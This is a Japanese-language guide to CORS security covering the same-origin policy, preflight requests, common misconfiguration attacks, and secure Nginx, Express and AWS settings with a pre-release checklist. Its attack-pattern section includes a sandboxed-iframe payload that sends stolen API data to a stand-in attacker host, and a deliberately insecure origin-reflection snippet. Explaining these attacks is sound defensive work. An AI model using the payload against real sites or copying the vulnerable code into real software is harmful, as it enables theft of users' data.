Webアプリケーションのフロントエンドとバックエンドを別ドメインで運用するケースが増えるなか、CORS(Cross-Origin Resource Sharing)の設定ミスがセキュリティインシデントの原因になる事例が後を絶ちません。
CORS は、ブラウザの同一オリジンポリシーを安全に緩和するための仕組みです。正しく設定すれば異なるオリジン間でのリソース共有を実現できますが、設定を誤ると認証情報の漏洩やセッションハイジャックにつながるリスクがあります。
ここでは CORS の基本的な仕組みから、実際の攻撃パターン、主要サーバー・クラウドサービスでの安全な設定方法、そして本番リリース前に確認すべきセキュリティチェックリストまでを体系的にまとめています。
オリジンと同一オリジンポリシーの基礎
オリジンを構成する3要素
オリジン(Origin)は、URLの スキーム(プロトコル)・ホスト・ポート番号 の組み合わせで決まります。
| URL | オリジン |
|---|---|
https://example.com:443/page | https://example.com:443 |
http://example.com/page | http://example.com:80 |
https://api.example.com/v1 | https://api.example.com:443 |
3要素のうち1つでも異なれば「異なるオリジン(クロスオリジン)」として扱われます。https://example.com と http://example.com はスキームが異なるため別オリジンですし、https://example.com と https://api.example.com もホストが異なるため別オリジンです。
同一オリジンポリシーがブラウザに組み込まれた理由
同一オリジンポリシー(Same-Origin Policy / SOP)は、あるオリジンで読み込まれたスクリプトが、別オリジンのリソースに無制限にアクセスすることを禁止するブラウザのセキュリティ機能です。
SOPが存在しないと仮定した場合、次のような攻撃が成立します。
- ユーザーが銀行サイト(
bank.example.com)にログイン済みの状態で、攻撃者のサイトを開く - 攻撃者のサイトのJavaScriptが
bank.example.comの口座情報APIにリクエストを送信 - ブラウザはログイン済みのCookieを自動付与するため、APIは正常にレスポンスを返す
- 攻撃者のスクリプトがレスポンスの口座残高・取引履歴を読み取り、外部サーバーへ送信
SOPはこの「ステップ4のレスポンス読み取り」をブラウザレベルで遮断します。
SOPが制限する通信と制限しない通信
SOPによる制限は、すべてのクロスオリジン通信に一律に適用されるわけではありません。
SOPが制限する通信(CORSが必要):
fetch()/XMLHttpRequestによるクロスオリジンリクエスト- Web Fonts(
@font-faceでのクロスオリジンフォント読み込み) - WebGL テクスチャの読み込み
canvasのdrawImage()でクロスオリジン画像を描画した後のgetImageData()
SOPが制限しない通信(CORSなしでも動作):
<img>タグによる画像の表示<link>タグによるCSSの読み込み<script>タグによるJavaScriptの読み込み<video>/<audio>タグによるメディア再生<form>タグによるフォーム送信(送信は可能だがレスポンスは読めない)
この非対称性が重要です。<img> や <script> はクロスオリジンで読み込めるため、SOPだけではCSRF(Cross-Site Request Forgery)を完全には防げません。
CORSの仕組み:ブラウザとサーバーの通信フロー
CORSは、HTTPヘッダーを使ってサーバーが「どのオリジンからのアクセスを許可するか」をブラウザに伝える仕組みです。ブラウザはリクエスト内容に応じて、シンプルリクエストとプリフライトリクエストの2つのフローを自動的に使い分けます。
シンプルリクエストの条件と通信フロー
以下のすべての条件を満たすリクエストは、プリフライトなしで直接送信されます(出典: MDN Web Docs)。
メソッド: GET / HEAD / POST のいずれか
ヘッダー: 以下のCORSセーフリストヘッダーのみ使用
AcceptAccept-LanguageContent-LanguageContent-Type(下記の値のみ)Range(単純なrange値のみ)
Content-Typeの値: application/x-www-form-urlencoded / multipart/form-data / text/plain のいずれか
追加条件:
XMLHttpRequest.uploadにイベントリスナーが未登録ReadableStreamオブジェクトが未使用
ブラウザ サーバー
│ │
│ GET /api/data HTTP/1.1 │
│ Origin: https://app.example │
│ ──────────────────────────────> │
│ │
│ HTTP/1.1 200 OK │
│ Access-Control-Allow-Origin: │
│ https://app.example │
│ <────────────────────────────── │
サーバーが返す Access-Control-Allow-Origin ヘッダーの値がリクエスト元のオリジンと一致すれば、ブラウザはレスポンスをJavaScriptに渡します。一致しなければ、レスポンスはブロックされCORSエラーになります。
プリフライトリクエストの仕組み
シンプルリクエストの条件を満たさないリクエスト(PUT / DELETE メソッド、Authorization ヘッダー付き、Content-Type: application/json など)では、ブラウザが自動的に OPTIONS メソッドのプリフライトリクエストを先行送信します。
ブラウザ サーバー
│ │
│ OPTIONS /api/users HTTP/1.1 │
│ Origin: https://app.example │
│ Access-Control-Request-Method: │
│ DELETE │
│ Access-Control-Request-Headers: │
│ Authorization, Content-Type │
│ ──────────────────────────────────> │
│ │
│ HTTP/1.1 204 No Content │
│ Access-Control-Allow-Origin: │
│ https://app.example │
│ Access-Control-Allow-Methods: │
│ GET, POST, PUT, DELETE │
│ Access-Control-Allow-Headers: │
│ Authorization, Content-Type │
│ Access-Control-Max-Age: 7200 │
│ <────────────────────────────────── │
│ │
│ DELETE /api/users/42 HTTP/1.1 │
│ Origin: https://app.example │
│ Authorization: Bearer xxx │
│ ──────────────────────────────────> │
│ │
│ HTTP/1.1 200 OK │
│ Access-Control-Allow-Origin: │
│ https://app.example │
│ <────────────────────────────────── │
プリフライトの結果は Access-Control-Max-Age で指定した秒数だけブラウザにキャッシュされます。デフォルト値は5秒で、Chromeの上限は7200秒(2時間)、Firefoxの上限は86400秒(24時間)です(出典: MDN Web Docs)。
認証情報付きリクエスト(Credentialed Requests)
Cookie や Authorization ヘッダーをクロスオリジンリクエストに含める場合、クライアント側とサーバー側の両方で追加設定が必要です。
クライアント側:
// Fetch API
fetch('https://api.example.com/data', {
credentials: 'include' // Cookie を含めて送信
});
// XMLHttpRequest
const xhr = new XMLHttpRequest();
xhr.withCredentials = true;
サーバー側の必須レスポンスヘッダー:
Access-Control-Allow-Origin: https://app.example # ワイルドカード(*) は不可
Access-Control-Allow-Credentials: true
認証情報付きリクエストでは、Access-Control-Allow-Origin・Access-Control-Allow-Headers・Access-Control-Allow-Methods・Access-Control-Expose-Headers のすべてでワイルドカード(*)が使用禁止です。必ず具体的な値を指定する必要があります。
CORSに関連する主要HTTPヘッダー一覧
レスポンスヘッダー(サーバー側で設定)
| ヘッダー | 役割 | 設定例 |
|---|---|---|
Access-Control-Allow-Origin | アクセスを許可するオリジン | https://app.example |
Access-Control-Allow-Methods | 許可するHTTPメソッド | GET, POST, PUT, DELETE |
Access-Control-Allow-Headers | 許可するリクエストヘッダー | Authorization, Content-Type |
Access-Control-Expose-Headers | JSから読み取り可能なレスポンスヘッダー | X-Request-Id |
Access-Control-Max-Age | プリフライト結果のキャッシュ秒数 | 7200 |
Access-Control-Allow-Credentials | 認証情報の送信許可 | true |
リクエストヘッダー(ブラウザが自動付与)
| ヘッダー | 用途 |
|---|---|
Origin | リクエスト元のオリジン |
Access-Control-Request-Method | プリフライトで実行予定のメソッドを通知 |
Access-Control-Request-Headers | プリフライトで使用予定のヘッダーを通知 |
CORS設定ミスが招く脆弱性と攻撃パターン
CORSの設定ミスは、セキュリティテストやバグバウンティで頻繁に報告される脆弱性カテゴリです。海外のセキュリティコミュニティ(PortSwigger、OWASP)が公開している典型的な攻撃パターンを解説します。
パターン1:Originヘッダーの無検証な反射
最も危険な設定ミスは、リクエストの Origin ヘッダーの値をそのまま Access-Control-Allow-Origin に反映するケースです。
# 危険なサーバー側実装の例(Python)
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # 任意のオリジンを許可
response.headers['Access-Control-Allow-Credentials'] = 'true'
この設定では、攻撃者のサイト(https://evil.example)からのリクエストも許可されます。Access-Control-Allow-Credentials: true と組み合わせることで、被害者のセッションを使ってAPIレスポンスを窃取できます(出典: PortSwigger)。
パターン2:ホワイトリスト正規表現の実装ミス
許可オリジンの検証に正規表現を使う場合、アンカー(^ / $)の漏れがバイパスの原因になります。
| 脆弱な検証ロジック | 攻撃者が登録するドメイン | 結果 |
|---|---|---|
末尾が example.com で終わるか | evil-example.com | 通過 |
先頭が example.com で始まるか | example.com.evil.net | 通過 |
example.com を含むか | example.com.evil.net | 通過 |
安全な検証の例:
import re
ALLOWED_ORIGIN_PATTERN = re.compile(r'^https://[\w-]+\.example\.com$')
def validate_origin(origin):
return bool(ALLOWED_ORIGIN_PATTERN.match(origin))
正規表現の先頭アンカー ^ と末尾アンカー $ を必ず含め、ドット(.)はエスケープ(\.)する必要があります。
パターン3:null Originの許可とsandbox iframe攻撃
Origin: null は、以下の状況でブラウザが自動的に送信します。
sandbox属性付き<iframe>内からのリクエストfile://プロトコルからのリクエスト- クロスオリジンリダイクトを経たリクエスト
サーバーが Access-Control-Allow-Origin: null を許可していると、攻撃者は sandbox 属性付き iframe を使って null オリジンを生成し、認証情報付きリクエストを送信できます。
<!-- 攻撃者のサイトに設置 -->
<iframe sandbox="allow-scripts allow-forms"
srcdoc="<script>
fetch('https://target-api.example/sensitive-data', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// 窃取したデータを攻撃者サーバーへ送信
navigator.sendBeacon('https://attacker.example/log',
JSON.stringify(data));
});
</script>">
</iframe>
対策として、Access-Control-Allow-Origin に null を設定してはいけません。
パターン4:XSSとCORSの連鎖攻撃
CORS設定自体が正しくても、ホワイトリストに含まれているサブドメインにXSS脆弱性があると、CORSの信頼関係を悪用した攻撃が成立します。
攻撃フロー:
1. api.example.com が subdomain.example.com をCORSで信頼
2. 攻撃者が subdomain.example.com にXSS脆弱性を発見
3. 攻撃者がXSSペイロードを含むURLを被害者に送信
https://subdomain.example.com/?q=<script>...</script>
4. XSSスクリプトが api.example.com へCORSリクエストを送信
5. api.example.com はホワイトリスト内のオリジンと判断し、レスポンスを返す
6. 攻撃者がレスポンス(APIキー等)を窃取
この攻撃は「CORSホワイトリストに含まれるドメイン全体の安全性が、CORSのセキュリティ強度を決定する」ことを意味します。ホワイトリストに追加するドメインは、そのドメイン自体のセキュリティ(XSS対策等)が十分であることを確認する必要があります。
パターン5:HTTPサブドメインを経由したTLSダウングレード
HTTPSサイトが http://subdomain.example.com(平文HTTP)をCORSホワイトリストに含めている場合、中間者攻撃(MITM)と組み合わせた情報窃取が成立します。
攻撃フロー:
1. https://secure.example.com が http://internal.example.com を信頼
2. 攻撃者が同一ネットワーク上でMITM攻撃を実行
3. 被害者の http://internal.example.com へのリクエストを傍受
4. 攻撃者が偽レスポンスを返し、secure.example.com へのCORSリクエストを送信するスクリプトを注入
5. ブラウザは http://internal.example.com からのリクエストとしてCookieを付与
6. secure.example.com は信頼済みオリジンと判断してレスポンスを返す
対策として、CORSホワイトリストにはHTTPSオリジンのみを含めるべきです。
パターン6:イントラネットリソースへの外部からのアクセス
社内APIが Access-Control-Allow-Origin: * を設定しているケースは珍しくありません。「社内ネットワークだからセキュリティは不要」という判断に基づくものですが、外部サイトを閲覧した従業員のブラウザを踏み台にして社内リソースを読み取る攻撃が成立します。
攻撃者の外部サイトにアクセスした従業員のブラウザが http://192.168.1.100/internal-api/users にリクエストを送信し、ワイルドカード設定により正常にレスポンスを取得 → 外部へ送信という流れです。
社内システムであっても、CORSのワイルドカード設定は避けてください。
Fetch API と XMLHttpRequest の CORS 挙動の違い
クロスオリジンリクエストの挙動は、使用するAPIによって微妙に異なります。
| 観点 | Fetch API | XMLHttpRequest |
|---|---|---|
| Cookie送信のデフォルト | credentials: 'same-origin'(クロスオリジンでは送信しない) | withCredentials がfalseのため送信しない |
| Cookie送信の有効化 | credentials: 'include' を明示 | xhr.withCredentials = true を設定 |
| クロスオリジンリダイレクト | CORS ヘッダーがなければ拒否 | 自動追跡(比較的寛容) |
| エラー情報の詳細度 | TypeError のみ(セキュリティ上、詳細を隠蔽) | status: 0 を返す |
Postman やcurl でテストしたときは成功するのに、ブラウザからは CORS エラーになるケースが頻発します。これは CORS がブラウザ固有の制御であり、ブラウザ以外のHTTPクライアントには適用されないためです。
ブラウザごとの実装差異
ブラウザによってCORSの実装に微妙な差があり、特定のブラウザでのみ問題が発生するケースがあります。
- Chrome: リダイレクトチェーンに対して最も厳格にCORSを適用。プリフライトキャッシュの上限は7200秒(2時間)
- Firefox: プリフライトキャッシュの上限は86400秒(24時間)。失敗したプリフライトレスポンスが予想より長くキャッシュされるケースがある
- Safari: サードパーティCookie遮断(ITP)との干渉により、
credentials: 'include'のリクエストが他ブラウザより厳格に拒否される場合がある
サーバー・フレームワーク別の安全なCORS設定例
Nginx
# /etc/nginx/conf.d/cors.conf
map $http_origin $cors_origin {
default "";
"https://app.example.com" $http_origin;
"https://staging.example.com" $http_origin;
}
server {
location /api/ {
# 許可オリジンの動的設定
if ($cors_origin = "") {
return 403;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
add_header Access-Control-Allow-Headers "Authorization, Content-Type, X-Request-Id" always;
add_header Access-Control-Max-Age 7200 always;
add_header Vary Origin always; # CDNキャッシュ対策に必須
# プリフライトリクエストの処理
if ($request_method = OPTIONS) {
return 204;
}
proxy_pass http://backend;
}
}
Vary: Origin ヘッダーの追加は、CDNやリバースプロキシを使用する場合に必須です。このヘッダーがないと、あるオリジン向けのCORSレスポンスがキャッシュされ、別のオリジンからのリクエストに対して誤ったレスポンスが返される可能性があります。
Node.js(Express)
import cors from 'cors';
import express from 'express';
const app = express();
const allowedOrigins = [
'https://app.example.com',
'https://staging.example.com',
];
const corsOptions = {
origin: (origin, callback) => {
// サーバー間通信(Originヘッダーなし)は許可
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error(`Origin ${origin} not allowed by CORS`));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Authorization', 'Content-Type'],
maxAge: 7200,
};
app.use(cors(corsOptions));
AWS API Gateway
API Gatewayでは、REST APIとHTTP APIで設定方法が異なります。
HTTP API(推奨):
AWS マネジメントコンソール > API Gateway > 対象API > CORS で以下を設定します。
| 設定項目 | 値の例 |
|---|---|
| Access-Control-Allow-Origin | https://app.example.com |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE, OPTIONS |
| Access-Control-Allow-Headers | Authorization, Content-Type |
| Access-Control-Max-Age | 7200 |
| Access-Control-Allow-Credentials | true |
REST API:
REST APIでは、OPTIONSメソッドのモック統合を手動設定する必要があります。Lambda プロキシ統合を使用する場合は、Lambda関数のレスポンスにCORSヘッダーを含めてください。
# Lambda関数(Python)の例
def handler(event, context):
return {
'statusCode': 200,
'headers': {
'Access-Control-Allow-Origin': 'https://app.example.com',
'Access-Control-Allow-Credentials': 'true',
},
'body': json.dumps({'message': 'success'})
}
主要フレームワークのCORSライブラリ
| フレームワーク | ライブラリ / 設定 |
|---|---|
| Express (Node.js) | cors パッケージ |
| FastAPI (Python) | fastapi.middleware.cors.CORSMiddleware |
| Django (Python) | django-cors-headers |
| Rails (Ruby) | rack-cors gem |
| Spring Boot (Java) | @CrossOrigin アノテーション / WebMvcConfigurer |
| Laravel (PHP) | config/cors.php(標準搭載) |
CORS と CSP を連携させた多層防御
CORS と CSP(Content Security Policy)は異なるレイヤーのセキュリティ機構ですが、両者を組み合わせることで防御を強化できます。
CORS: サーバーが「どのオリジンからのリクエストを受け入れるか」を制御(受信側の制御)
CSP: ブラウザが「どのオリジンからのリソース読み込みを許可するか」を制御(送信側の制御)
両者の設定が矛盾すると、CORSで許可したリクエストがCSPでブロックされる(またはその逆の)問題が発生します。
# Nginx での CSP 設定例(CORSと整合させる)
add_header Content-Security-Policy
"default-src 'self';
connect-src 'self' https://api.example.com;
script-src 'self';
style-src 'self' 'unsafe-inline';"
always;
connect-src ディレクティブで fetch() / XMLHttpRequest の接続先を制限できます。CORSで許可するオリジンと connect-src の許可リストを一致させることで、設定の矛盾を防ぎつつ、万が一XSSが発生した場合にも外部への情報送信を制限できます。
SPA開発環境でのCORSエラー回避
React、Vue、Next.js などのSPAフレームワークでは、開発サーバー(localhost:3000)からバックエンドAPI(localhost:8080)へのリクエストでCORSエラーが発生します。開発環境に限り、プロキシ機能を使ってCORSを回避するのが一般的な手法です。
Vite(React / Vue)
// vite.config.js
export default defineConfig({
server: {
proxy: {
'/api': {
target: 'http://localhost:8080',
changeOrigin: true,
}
}
}
});
Next.js
// next.config.js
module.exports = {
async rewrites() {
return [
{
source: '/api/:path*',
destination: 'http://localhost:8080/api/:path*',
},
];
},
};
プロキシを使うことで、フロントエンドの /api/users へのリクエストが開発サーバー経由でバックエンドへ転送されます。ブラウザからは同一オリジンに見えるためCORSエラーが発生しません。
注意点: 開発環境用のプロキシ設定と本番環境のCORS設定は別物です。本番デプロイ時にプロキシが無効になり、CORSエラーが再発するケースがよくあります。本番環境では必ずサーバー側でCORSヘッダーを正しく設定してください。
CORSの限界:CORSだけでは防げない攻撃
CORSは「レスポンスの読み取り」を制御する仕組みであり、「リクエストの送信」そのものは防ぎません。このため、以下の攻撃はCORS単体では防御できません。
CSRF(Cross-Site Request Forgery)
<form> タグや <img> タグによるリクエストはSOPの制限を受けないため、CORSの設定に関係なく送信可能です。CORSが防ぐのはレスポンスの読み取りだけであり、副作用を持つリクエスト(パスワード変更、送金など)自体は到達します。
対策: CSRFトークン、SameSite Cookie属性、Refererヘッダー検証
XSS(Cross-Site Scripting)
XSSが成立すると、攻撃者のスクリプトはページと同一オリジンで実行されるため、CORSの制限を受けません。
対策: 入力値のサニタイズ、CSP の script-src ディレクティブ、HttpOnly Cookie
サーバー間通信
CORSはブラウザの機能であり、curl・Postman・サーバーサイドのHTTPクライアントには適用されません。APIの認証・認可はCORSとは独立して実装する必要があります。
本番リリース前のCORSセキュリティチェックリスト
本番環境にデプロイする前に、以下の項目をすべて確認してください。
必須チェック項目
-
Access-Control-Allow-Originにワイルドカード(*)を使用していない(認証情報を扱うAPIの場合) -
Access-Control-Allow-Origin: nullを許可していない - リクエストの
OriginヘッダーをそのままAccess-Control-Allow-Originに反射していない - 許可オリジンの正規表現にアンカー(
^/$)を含め、ドット(.)をエスケープしている - CORSホワイトリストにHTTPオリジン(非HTTPS)を含めていない
-
Access-Control-Allow-Credentials: trueとAccess-Control-Allow-Origin: *を併用していない - CORSホワイトリストに含まれるサブドメインにXSS脆弱性がないことを確認済み
- 社内APIでもワイルドカードを使用せず、明示的なオリジン制限を設定している
-
Vary: Originヘッダーを含めている(CDN・リバースプロキシ使用時) -
Access-Control-Allow-MethodsとAccess-Control-Allow-Headersを必要最小限に設定している
推奨チェック項目
-
Access-Control-Max-Ageを適切な値に設定している(推奨: 3600〜7200秒) - 許可オリジンをハードコードではなく環境変数で管理している
- 拒否したCORSリクエストをサーバーログに記録している
- CSP(Content Security Policy)の
connect-srcとCORSの許可オリジンを整合させている - 定期的にCORSホワイトリスト内ドメインのセキュリティ状態を監査している
CORSエラーのトラブルシューティング
よくあるエラーと原因
No 'Access-Control-Allow-Origin' header is present on the requested resource
サーバーがCORSヘッダーを返していません。サーバー側のCORS設定を確認してください。Nginxの場合、add_header が if ブロック内のリターンで消えるケースがあるため、always パラメータの付与を確認します。
The value of the 'Access-Control-Allow-Origin' header must not be the wildcard '*' when credentials mode is 'include'
認証情報付きリクエストでワイルドカードを使用しています。具体的なオリジンに変更してください。
Method PUT is not allowed by Access-Control-Allow-Methods
プリフライトレスポンスの Access-Control-Allow-Methods に対象メソッドが含まれていません。
Chrome DevTools での確認手順
- DevTools を開き、Network タブを選択
- CORSエラーが発生するリクエストを実行
- エラーとなったリクエストを選択し、Headers タブで以下を確認:
- Request Headers の
Origin値 - Response Headers の
Access-Control-Allow-Origin値
- Request Headers の
- プリフライトリクエストは Method 列に
OPTIONSと表示される。OPTIONSリクエストのレスポンスヘッダーもあわせて確認
まとめ
CORSはブラウザの同一オリジンポリシーを安全に緩和する仕組みですが、設定ミスが直接的なセキュリティ脆弱性につながります。
安全なCORS運用の原則は3つです。
- 最小権限の原則: ワイルドカードを避け、必要なオリジン・メソッド・ヘッダーだけを許可する
- 多層防御: CORSだけに頼らず、CSP・CSRFトークン・認証の組み合わせで防御する
- ホワイトリストの継続的な監査: CORSで信頼するドメイン自体のセキュリティ(XSS対策等)を定期的に確認する
これらを実践すれば、異なるオリジン間のリソース共有を安全に実現できます。
